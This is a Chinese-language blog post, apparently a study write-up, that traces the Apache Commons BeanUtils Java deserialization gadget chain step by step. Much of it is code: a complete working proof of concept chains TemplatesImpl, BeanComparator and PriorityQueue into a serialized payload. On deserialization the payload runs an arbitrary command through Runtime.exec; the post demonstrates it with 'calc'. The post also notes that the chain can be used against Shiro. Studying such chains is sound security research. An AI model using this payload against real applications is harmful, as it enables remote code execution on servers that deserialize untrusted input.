参考文章
最近就是想把不会的链子都跟一遍,现在就先打cb
链入手
全称(Apache Commons BeanUtils
)
这个链子还可以用来打shiro
无依赖的链子
这个类可以任意触发getter
和setter
方法
环境搭建
1 2 3 4 5
| <dependency> <groupId>commons-beanutils</groupId> <artifactId>commons-beanutils</artifactId> <version>1.9.4</version> </dependency>
|
链子分析
demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| package org.example; import org.apache.commons.beanutils.PropertyUtils;
import java.lang.reflect.InvocationTargetException;
import static com.sun.xml.internal.ws.policy.sourcemodel.wspolicy.XmlToken.Name;
public class person { public String name = "catalina";
public void setName(String name) { this.name = name; }
public String getName() { return name; }
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException { person person1 = new person(); System.out.println(PropertyUtils.getProperty(person1, "name")); } }
|
成功触发
先打个断点
跟进getProperty
接着跟进getProperty
然后跟进getNestedProperty
(前面的判断是判断bean是否是Map的实例和name是否被映射或索引了)
然后全不是
然后跟进getSimpleProperty
然后经过这个getPropertyDescriptor
方法
可以看到,我们传入的是 name
,这里返回 Bean
属性值是 Name
,并且 set
方法与 get
方法都是 setName
, getName
,这是 JavaBean
的命名格式,会将传进来的小写首字母大写
(这是一种特性 不能直接传大写的属性 这样的会报错)
接着跟进这个invokeMethod
方法
最后就会在这个进行调用
结束
这就是cb
链调用任意getter
的流程
这里注意的一点就是
在传参的时候,虽然函数名是大写的Name
,我们也不能直接传大写的(这是java bean的特性) 他会在触发invoke的途中帮我们修改过来
这就是他调用任意getter
的过程
那么我们可以猜想到哪条链子可以配这cb链来使用呢
这里的话刚好有个类可以办到
TemplatesImpl类->调用恶意类 就是这个类,最后会调用动态类加载来执行恶意代码
1 2 3 4 5
| TemplatesImpl-->getOutputProperties() TemplatesImpl-->newTransformer() TemplatesImpl-->getTransletInstance() TemplatesImpl-->defineTransletClasses() TemplatesImpl-->defineClass()
|
这里的getOutputProperties
()刚好可以通过cb
链来触发
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
| package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import org.apache.commons.beanutils.PropertyUtils; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import sun.misc.Unsafe;
import java.io.*; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.net.URL; import java.net.URLClassLoader; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map;
public class exp {
public static void setValue(Object target, String name, Object value) throws Exception { Class c = target.getClass(); Field field = c.getDeclaredField(name); field.setAccessible(true); field.set(target,value); }
public static byte[] getTemplatesImpl(String cmd) { try { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("Evil"); CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); ctClass.setSuperclass(superClass); CtConstructor constructor = ctClass.makeClassInitializer(); constructor.setBody(" try {\n" + " Runtime.getRuntime().exec(\"" + cmd + "\");\n" + " } catch (Exception ignored) {\n" + " }"); byte[] bytes = ctClass.toBytecode(); ctClass.defrost(); return bytes; } catch (Exception e) { e.printStackTrace(); return new byte[]{}; } }
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl(); setValue(templates,"_name", "aaa");
byte[] code = getTemplatesImpl("calc"); byte[][] bytecodes = {code}; setValue(templates, "_bytecodes", bytecodes); setValue(templates,"_tfactory", new TransformerFactoryImpl());
System.out.println(PropertyUtils.getProperty(templates, "outputProperties"));
} }
|
成功执行
注意因为之前说的 JavaBean
特性, OutputProperties
首字母要小写
接下来我们就得想办法看谁能触发这个了PropertyUtils.getProperty
BeanComparator.compare
这个类刚好可以办到
并且this.property
这个属性的值还可控
那么最后一步就差个反序列化readobject
()入口了
就是找哪个类的readobject
()方法能触发这个compare
方法了
最后在以前的cc4
利用链找到了
刚好在PriorityQueue
这个类里的readobject
()方法可以触发compare
方法
并且这个comparator
可控,所以传参为BeanComparator
就行了
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96
| package org.example; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import org.apache.commons.beanutils.BeanComparator; import org.apache.commons.beanutils.PropertyUtils; import org.apache.commons.collections.comparators.TransformingComparator; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import sun.misc.Unsafe;
import java.io.*; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.net.URL; import java.net.URLClassLoader; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map; import java.util.PriorityQueue;
public class person {
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; }
public static void setValue(Object target, String name, Object value) throws Exception { Class c = target.getClass(); Field field = c.getDeclaredField(name); field.setAccessible(true); field.set(target,value); }
public static byte[] getTemplatesImpl(String cmd) { try { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("Evil"); CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); ctClass.setSuperclass(superClass); CtConstructor constructor = ctClass.makeClassInitializer(); constructor.setBody(" try {\n" + " Runtime.getRuntime().exec(\"" + cmd + "\");\n" + " } catch (Exception ignored) {\n" + " }"); byte[] bytes = ctClass.toBytecode(); ctClass.defrost(); return bytes; } catch (Exception e) { e.printStackTrace(); return new byte[]{}; } }
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl(); setValue(templates,"_name", "aaa");
byte[] code = getTemplatesImpl("calc"); byte[][] bytecodes = {code}; setValue(templates, "_bytecodes", bytecodes); setValue(templates,"_tfactory", new TransformerFactoryImpl());
BeanComparator outputProperties = new BeanComparator("outputProperties");
TransformingComparator ioTransformingComparator = new TransformingComparator(new ConstantTransformer(1)); PriorityQueue priorityQueue = new PriorityQueue<>(ioTransformingComparator);
priorityQueue.add(templates); priorityQueue.add(1); setValue(priorityQueue, "comparator", outputProperties);
serialize(priorityQueue); unserialize("ser.bin");
} }
|
这里的解释一下为啥要给priorityQueue
的comparator
二次赋值
因为在第二次add
的时候
会调用到add
里的offer
方法里的siftUp
方法
继续跟进,因为comparator
不为空
所以跟进这个方法
刚好,这也可以触发 所以为了避免这个问题 我们就在序列化的时候执行到这的时候先给一个没用的值,等这里执行结束的在利用反射重新赋值
最后就是在这里来触发了
结束